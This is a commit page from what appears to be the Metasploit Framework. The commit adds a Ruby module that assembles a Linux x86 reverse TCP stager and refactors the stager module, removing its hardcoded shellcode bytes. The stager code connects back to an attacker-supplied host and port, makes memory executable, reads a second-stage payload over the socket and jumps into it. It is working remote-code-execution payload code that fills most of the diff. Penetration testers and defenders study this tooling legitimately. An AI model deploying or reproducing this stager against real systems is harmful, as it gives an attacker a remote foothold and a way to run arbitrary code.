Skip to content

Commit 93bf995

Browse files
committed
Reverse tcp support for POSIX
Ported the stager and wired in the new work to make the configuration function.
1 parent 9300158 commit 93bf995

File tree

3 files changed

+150
-76
lines changed

3 files changed

+150
-76
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
5+
module Msf
6+
7+
8+
###
9+
#
10+
# Complex reverse TCP payload generation for Linux ARCH_X86
11+
#
12+
###
13+
14+
15+
module Payload::Linux::ReverseTcp
16+
17+
include Msf::Payload::Linux
18+
19+
#
20+
# Generate the first stage
21+
#
22+
def generate
23+
# Generate the simple version of this stager if we don't have enough space
24+
if self.available_space.nil? || required_space > self.available_space
25+
return generate_reverse_tcp(
26+
port: datastore['LPORT'],
27+
host: datastore['LHOST'],
28+
retry_count: datastore['ReverseConnectRetries'],
29+
)
30+
end
31+
32+
conf = {
33+
host: datastore['LHOST'],
34+
port: datastore['LPORT'],
35+
retry_count: datastore['ReverseConnectRetries'],
36+
exitfunk: datastore['EXITFUNC'],
37+
reliable: true
38+
}
39+
40+
generate_reverse_tcp(conf)
41+
end
42+
43+
def generate_transport_config(opts={})
44+
{
45+
:scheme => 'tcp',
46+
:lhost => datastore['LHOST'],
47+
:lport => datastore['LPORT'].to_i,
48+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
49+
:retry_total => datastore['SessionRetryTotal'].to_i,
50+
:retry_wait => datastore['SessionRetryWait'].to_i
51+
}
52+
end
53+
54+
#
55+
# Generate and compile the stager
56+
#
57+
def generate_reverse_tcp(opts={})
58+
asm = asm_reverse_tcp(opts)
59+
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
60+
end
61+
62+
#
63+
# Determine the maximum amount of space required for the features requested
64+
#
65+
def required_space
66+
# Start with our cached default generated size
67+
space = cached_size
68+
69+
# Reliability adds 10 bytes for recv error checks
70+
space += 10
71+
72+
# The final estimated size
73+
space
74+
end
75+
76+
#
77+
# Generate an assembly stub with the configured feature set and options.
78+
#
79+
# @option opts [Fixnum] :port The port to connect to
80+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
81+
# @option opts [Bool] :reliable Whether or not to enable error handling code
82+
#
83+
def asm_reverse_tcp(opts={})
84+
85+
# TODO: reliability is coming
86+
#retry_count = [opts[:retry_count].to_i, 1].max
87+
#reliable = opts[:reliable]
88+
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
89+
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
90+
91+
asm = %Q^
92+
xor ebx, ebx
93+
mul ebx
94+
push ebx
95+
inc ebx
96+
push ebx
97+
push 0x2
98+
mov al, 0x66
99+
mov ecx, esp
100+
int 0x80 ; sys_socketcall
101+
xchg eax, edi
102+
pop ebx
103+
push #{encoded_host}
104+
push #{encoded_port}
105+
mov ecx, esp
106+
push 0x66
107+
pop eax
108+
push eax
109+
push ecx
110+
push edi
111+
mov ecx, esp
112+
inc ebx
113+
int 0x80 ; sys_socketcall
114+
mov dl, 0x7
115+
mov ecx, 0x1000
116+
mov ebx, esp
117+
shr ebx, 0xc
118+
shl ebx, 0xc
119+
mov al, 0x7d
120+
int 0x80 ; sys_mprotect
121+
pop ebx
122+
mov ecx, esp
123+
cdq
124+
mov dh, 0xc
125+
mov al, 0x3
126+
int 0x80 ; sys_read
127+
jmp ecx
128+
^
129+
130+
asm
131+
end
132+
133+
end
134+
135+
end
136+
137+
138+
139+

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -18,13 +18,6 @@ module Payload::Windows::ReverseTcp
1818
include Msf::Payload::Windows::BlockApi
1919
include Msf::Payload::Windows::Exitfunk
2020

21-
#
22-
# Register reverse_tcp specific options
23-
#
24-
def initialize(*args)
25-
super
26-
end
27-
2821
#
2922
# Generate the first stage
3023
#

modules/payloads/stagers/linux/x86/reverse_tcp.rb

Lines changed: 11 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -6,83 +6,25 @@
66

77
require 'msf/core'
88
require 'msf/core/handler/reverse_tcp'
9+
require 'msf/core/payload/linux/reverse_tcp'
910

10-
11-
###
12-
#
13-
# ReverseTcp
14-
# ----------
15-
#
16-
# Linux reverse TCP stager.
17-
#
18-
###
19-
module Metasploit3
11+
module Metasploit4
2012

2113
CachedSize = 71
2214

2315
include Msf::Payload::Stager
24-
include Msf::Payload::Linux
16+
include Msf::Payload::Linux::ReverseTcp
2517

2618
def initialize(info = {})
2719
super(merge_info(info,
28-
'Name' => 'Reverse TCP Stager',
29-
'Description' => 'Connect back to the attacker',
30-
'Author' => [
31-
'skape', # original
32-
'egypt', # NX support
33-
],
34-
'License' => MSF_LICENSE,
35-
'Platform' => 'linux',
36-
'Arch' => ARCH_X86,
37-
'Handler' => Msf::Handler::ReverseTcp,
38-
'Stager' =>
39-
{
40-
'Offsets' =>
41-
{
42-
'LHOST' => [ 0x12, 'ADDR' ],
43-
'LPORT' => [ 0x19, 'n' ],
44-
},
45-
'Payload' =>
46-
47-
"\x31\xdb" +# xor ebx,ebx
48-
"\xf7\xe3" +# mul ebx
49-
"\x53" +# push ebx
50-
"\x43" +# inc ebx
51-
"\x53" +# push ebx
52-
"\x6a\x02" +# push byte +0x2
53-
"\xb0\x66" +# mov al,0x66
54-
"\x89\xe1" +# mov ecx,esp
55-
"\xcd\x80" +# int 0x80
56-
"\x97" +# xchg eax,edi
57-
"\x5b" +# pop ebx
58-
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
59-
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
60-
"\x89\xe1" +# mov ecx,esp
61-
"\x6a\x66" +# push byte +0x66
62-
"\x58" +# pop eax
63-
"\x50" +# push eax
64-
"\x51" +# push ecx
65-
"\x57" +# push edi
66-
"\x89\xe1" +# mov ecx,esp
67-
"\x43" +# inc ebx
68-
"\xcd\x80" +# int 0x80
69-
"\xb2\x07" +# mov dl,0x7
70-
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
71-
"\x89\xe3" +# mov ebx,esp
72-
"\xc1\xeb\x0c" +# shr ebx,0xc
73-
"\xc1\xe3\x0c" +# shl ebx,0xc
74-
"\xb0\x7d" +# mov al,0x7d
75-
"\xcd\x80" +# int 0x80
76-
"\x5b" +# pop ebx
77-
"\x89\xe1" +# mov ecx,esp
78-
"\x99" +# cdq
79-
"\xb6\x0c" +# mov dh,0xc
80-
"\xb0\x03" +# mov al,0x3
81-
"\xcd\x80" +# int 0x80
82-
"\xff\xe1" # jmp ecx
83-
84-
}
85-
))
20+
'Name' => 'Reverse TCP Stager',
21+
'Description' => 'Connect back to the attacker',
22+
'Author' => [ 'skape', 'egypt', ],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_X86,
26+
'Handler' => Msf::Handler::ReverseTcp,
27+
'Stager' => { 'Payload' => '' }))
8628
end
8729

8830
end

0 commit comments

Comments
 (0)